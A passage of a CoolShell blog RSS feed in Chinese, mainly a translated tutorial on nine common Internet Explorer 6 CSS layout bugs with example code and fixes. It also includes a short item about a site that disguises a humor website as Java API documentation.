src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg\" alt=\"bash代码注入的安全漏洞\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_title\">bash代码注入的安全漏洞</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1824.html\">C语言和sh脚本的杂交代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1824.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>9个最常见IE的Bug及其fix</title>\n\t\t<link>https://coolshell.cn/articles/1817.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1817.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 17 Nov 2009 07:33:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1817</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Internet Explorer &#8211; Web程序员的毒药。在IE上开发时间中有超过60%的时间是花在和IE的bug进行搏斗，让你的开发生产率严重下...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1817.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1817.html\">9个最常见IE的Bug及其fix</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/200x200.jpg\" alt=\"9个最常见IE的Bug及其fix\" width=\"138\" height=\"132\" /></p>\n<p>Internet Explorer &#8211; Web程序员的毒药。在IE上开发时间中有超过60%的时间是花在和IE的bug进行搏斗，让你的开发生产率严重下降。下面是一个教程，告诉你9个IE上最常见的BUG以及如何解决它们。</p>\n<h4>1. 居中布局</h4>\n<p>创建一个CSS定义把一个元素放到中间的位置，可能是每一个Web开发人员都会做的事情。最简单的做法是为你的元素增加一个<em>margin: auto;</em> ，然而 IE 6.0 会出现很多奇怪的行为。让我们来看一个例子。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#container{\n\tborder: solid 1px #000;\n\tbackground: #777;\n\twidth: 400px;\n\theight: 160px;\n\tmargin: 30px 0 0 30px;\n}\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 100px;\n\tmargin: 30px auto;\n\n}\n</pre>\n<p>下面是我们所期望的输出：</p>\n<p><span id=\"more-1817\"></span></p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/1-1.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>但IE却给我们这样的输出：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/1-2.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>这应该是IE 6对margin的 <em>auto</em> 并没有正确的设置。但幸运的是，这是很容易被修正的。</p>\n<p><strong>解决方法</strong></p>\n<p>最简单的方法是在父元件中使用 <em>text-align: center</em> 属性，而在元件中使用 <em>text-align: left</em> 。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#container{\n\tborder: solid 1px #000;\n\tbackground: #777;\n\twidth: 400px;\n\theight: 160px;\n\tmargin: 30px 0 0 30px;\n\ttext-align: center;\n}\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 100px;\n\tmargin: 30px 0;\n    \ttext-align: left;\n\n}\n</pre>\n<h4>2. 楼梯式的效果</h4>\n<p>几乎所有的Web开发者都会使用list来创建导航条。下面是你可能会用到的代码：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n    &lt;ul&gt;\n        &lt;li&gt;&lt;a href=&quot;#&quot;&gt;&lt;/a&gt;&lt;/li&gt;\n        &lt;li&gt;&lt;a href=&quot;#&quot;&gt;&lt;/a&gt;&lt;/li&gt;\n        &lt;li&gt;&lt;a href=&quot;#&quot;&gt;&lt;/a&gt;&lt;/li&gt;\n    &lt;/ul&gt;\n</pre>\n<p> </p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\nul {\n    list-style: none;\n}\n\nul li a {\n   \tdisplay: block;\n   \twidth: 130px;\n\theight: 30px;\n   \ttext-align: center;\n   \tcolor: #fff;\n   \tfloat: left;\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\tmargin: 30px 5px;\n}\n</pre>\n<p>一个符合标准的浏览器会是下面这样：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/2-1.png\" alt=\"Tutorial Image\" border=\"0\" /></div>\n<p>但IE却是这样的：</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/2-2.png\" alt=\"Tutorial Image\" border=\"0\" /></p>\n<p>下面是两个解决方法</p>\n<p><b>解决方法一</b></p>\n<p>设置li元件的float属性。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\nul li {\n\tfloat: left;\n}\n</pre>\n<p><strong>解决方法二</strong></p>\n<p>设置 <em>display: inline</em> 属性。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\nul li {\n\tdisplay: inline\n}\n</pre>\n<h4>3. float元件的两倍空白</h4>\n<p>请看下面的代码：</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\twidth: 300px;\n\theight: 100px;\n\tfloat: left;\n\tmargin: 30px 0 0 30px;\n\tborder: solid 1px #36F;\n}\n</pre>\n<p>期望的结果是：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/3-1.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>IE的结果是：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/3-2.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p><strong>解决方案</strong></p>\n<p>和上面那个BUG的解决方案一样，设置 <em>display: inline</em> 属性可以解决问题。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\twidth: 300px;\n\theight: 100px;\n\tfloat: left;\n\tmargin: 30px 0 0 30px;\n\tborder: solid 1px #36F;\n   \tdisplay: inline;\n}\n</pre>\n<h4>4. 无法设置微型高度</h4>\n<p>我们发现在IE中使用 <em>height: XXpx</em> 这样的属性无法设置比较小的高度。下面是个例子（注意高度是2px）：</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n}\n</pre>\n<p>期望结果： 2px的元件加1px的边框.</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/4-1.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>IE的结果：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/4-2.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p><strong>解决方案一</strong></p>\n<p>这个BUG的产生原因很简单，IE不允许元件的高度小于字体的高度，所以，下面的fix是设置上字体大小。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n    \tfont-size: 0;\n}\n</pre>\n<p><strong>解决方案二</strong></p>\n<p>但是最佳的解决方法是使用 <em>overflow: hidden</em> 。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n    \toverflow: hidden\n}\n</pre>\n<h4>5. 跨出边界</h4>\n<p>这个BUG是很难看的。当父元件中使用了 <em>overflow</em> 的 <em>auto</em> 属性，并且在其里放入相关元件。你会看来里面的元件会跨出来。下面是一个示例：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;div id=&quot;element&quot;&gt;&lt;div id=&quot;anotherelement&quot;&gt;&lt;/div&gt;&lt;/div&gt;\n</pre>\n<p> </p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 150px;\n\tmargin: 30px 0;\n\toverflow: auto;\n}\n\n#anotherelement{\n\tbackground: #555;\n\twidth: 150px;\n\theight: 175px;\n\tposition: relative;\n\tmargin: 30px;\n}\n</pre>\n<p>期望的结果：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/5-1.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>IE的结果：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/5-2.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p><strong>解决方法</strong></p>\n<p>设置 position: relative;属性</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 150px;\n\tmargin: 30px 0;\n\toverflow: auto;\n    \tposition: relative;\n}\n</pre>\n<h4>6. Fixing the Broken Box Model</h4>\n<p>Internet Explorer曲解了“盒子模子”可能是最不可原谅的事情了。IE 6 这个半标准的浏览器回避了这个事情，但这个问题还是会因为IE运行在“怪异模式”下出现。</p>\n<p>两个Div元件。一个是有fix的，一个是没有的。而他们不同的高和宽加上padding的总合却是不一样的。下图的上方是被修正的，下方则没有。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/6.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p><strong>解决方法</strong></p>\n<p>我相信这个事情即不需要解释也不需要演示，这应该是大多数人都明白的。下面是一个很相当怪异的解决方案</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\twidth: 400px;\n    \theight: 150px;\n\tpadding: 50px;\n}\n</pre>\n<p>上面的定义也就是说：</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element {\n    width: 400px;\n    height: 150px;\n   \\height: 250px;\n   \\width: 500px\n}\n</pre>\n<p>是的，你要原来的长和宽上加上了padding。但这个fix只会作用于IE了的“怪异模式”，所以你不需要担心在IE6的正常模式下会有问题。</p>\n<h4>7. 设置min-height和min-width</h4>\n<p>IE忽略了min-height。</p>\n<p><strong>解决方法一</strong></p>\n<p>这个fix由 <a href=\"http://www.dustindiaz.com/min-height-fast-hack/\">Dustin Diaz</a>提供。其利用了 <em>!important</em> 下面是代码片段：</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element {\n  min-height:150px;\n  height:auto !important;\n  height:150px;\n}\n</pre>\n<p><strong>解决方法二</strong></p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element {\n    min-height: 150px;\n    height: 150px;\n}\n\nhtml&gt;body #element {\n\theight: auto;\n}\n</pre>\n<h4>8. Float 布局错误行为 Misbehaving</h4>\n<p>使用无table的布局最重要的就是使用CSS的float元件。在很多情况下，IE6处理起来好像在摸索阶段，有些时候，你会发现很多奇怪的行为。比如在其中有一些文本的时候。</p>\n<p>来看一下下面这个示例：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;div id=&quot;container&quot;&gt;\n\t&lt;div id=&quot;element&quot;&gt;http://net.tutsplus.com/&lt;/div&gt;\n\t&lt;div id=&quot;anotherelement&quot;&gt;&lt;/div&gt;\n&lt;/div&gt;\n</pre>\n<p> </p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element, #anotherelement{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 100px;\n\theight: 150px;\n\tmargin: 30px;\n\tpadding: 10px;\n\tfloat: left;\n}\n\n#container{\n\tbackground: #C2DFEF;\n\tborder: solid 1px #36F;\n\twidth: 365px;\n\tmargin: 30px;\n\tpadding: 5px;\n\toverflow: auto;\n}\n</pre>\n<p>期望结果：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/8-1.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>IE的结果：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/8-2.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>你可以看到其中的不同了</p>\n<p><strong>解决方法</strong></p>\n<p>要解决这个问题没有什么好的方法。只有一个方法，那就是使用 <em>overflow: hidden</em> 。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #C2DFEF;\n\tborder: solid 1px #36F;\n\twidth: 365px;\n\tmargin: 30px;\n\tpadding: 5px;\n\toverflow: hidden;\n}\n</pre>\n<h4>9. 在list项目门的空行</h4>\n<p>先看下面的例子</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;ul&gt;\n &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;\n &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;\n &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 3&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</pre>\n<p> </p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\nul {\n\tmargin:0;\n\tpadding:0;\n\tlist-style:none;\n}\n\nli a {\n\tbackground: #95CFEF;\n\tdisplay: block;\n}\n</pre>\n<p>期望结果：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/9-1.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>IE的结果：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/9-2.png\" border=\"0\" alt=\"Tutorial Image\" /></div>\n<p>Fortunately, there are a plethora of fixes you could try.</p>\n<p><strong>解决方法一</strong></p>\n<p>定义height来解决</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\nli a {\n\tbackground: #95CFEF;\n\tdisplay: block;\n    \theight: 200px;\n}\n</pre>\n<p><strong>解决方法二</strong></p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\nli a {\n\tbackground: #95CFEF;\n\tfloat: left;\n    \tclear: left;\n}\n</pre>\n<p><strong>解决方法三</strong></p>\n<p>为 <em>li</em> 加上<em>display: inline</em>。</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\nli {\n\tdisplay: inline;\n}\n</pre>\n<h4>结论</h4>\n<p>调界面是一件很难的事，调一个CSS的HTML界面是一件更难的事，在IE下调一个CSS的HTML界面是难上加难的事。</p>\n<p>文章：<a href=\"http://net.tutsplus.com/tutorials/html-css-techniques/9-most-common-ie-bugs-and-how-to-fix-them/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3063.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"40个很不错的CSS技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3063.html\" class=\"wp_rp_title\">40个很不错的CSS技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1817.html\">9个最常见IE的Bug及其fix</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1817.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>22</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>在上班的时候浏览不相干网页</title>\n\t\t<link>https://coolshell.cn/articles/1808.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1808.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 16 Nov 2009 05:19:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[fmylife.com]]></category>\n\t\t<category><![CDATA[伪装]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1808</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>相信大家在上班的时候都要去浏览很多与工作无关的网页，但总是害怕被同事尤其是老板看到，所以，你总是会有个“老板键”什么的。当有人从你身边经过的时候，你会很快速地切...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1808.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1808.html\">在上班的时候浏览不相干网页</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>相信大家在上班的时候都要去浏览很多与工作无关的网页，但总是害怕被同事尤其是老板看到，所以，你总是会有个“老板键”什么的。当有人从你身边经过的时候，你会很快速地切换你的桌面屏幕，让人看到你还在干与工作有关的事情了。</p>\n<p>现在，一个具有创意的天才解决方案出来了——为什么不把这些与工作无关的网站的样子都变成和工作相关呢？这里有一个示例，真让人拍案叫绝。不知道大家知不知道一个叫<a href=\"http://www.fmylife.com/\" target=\"_blank\">http://www.fmylife.com/</a>的网站？这个网站上都是一些“令人难堪”的小笑话，很多是荤的笑话，而有另一个网站是：<a href=\"http://fml.madsravn.dk/\">http://fml.madsravn.dk/</a>——这个网站就是fmylife的翻版，唯一不同的是，它把fmylife.com伪装成了一个Java 2 Platform SE v1.42的技术文档（请注意这个文档中的函数解释的内容），于是你就可以在上班的时候大胆地浏览fmylife.com上的内容了，因为那看起来就像在看Java的API文档。呵呵。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"Java Doc版的fmlife.com\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/fmlife_javadoc.jpg\" alt=\"Java Doc版的fmlife.com\" width=\"500\" height=\"375\" /></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/5.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"Java EE6 初探\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5.html\" class=\"wp_rp_title\">Java EE6 初探</a></li><li ><a href=\"https://coolshell.cn/articles/1907.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/badui2-300x224-1-150x150.jpg\" alt=\"UI的恶梦\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1907.html\" class=\"wp_rp_title\">UI的恶梦</a></li><li ><a href=\"https://coolshell.cn/articles/1313.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Erlang和Python互通\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1313.html\" class=\"wp_rp_title\">Erlang和Python互通</a></li><li ><a href=\"https://coolshell.cn/articles/3605.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"为什么中国的网页设计那么烂？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3605.html\" class=\"wp_rp_title\">为什么中国的网页设计那么烂？</a></li><li ><a href=\"https://coolshell.cn/articles/1990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"程序命名的一些提示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1990.html\" class=\"wp_rp_title\">程序命名的一些提示</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1808.html\">在上班的时候浏览不相干网页</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1808.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>超强：Unix道德经(英文版)</title>\n\t\t<link>https://coolshell.cn/articles/1794.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1794.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 16 Nov 2009 01:30:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[道德经]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1794</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>主页：http://mercury.ccil.org/~cowan/upc/ 这是一个人主页，博主说，这是一个“黑客式”版本的 Dao De Ching (字面...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1794.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1794.html\">超强：Unix道德经(英文版)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async 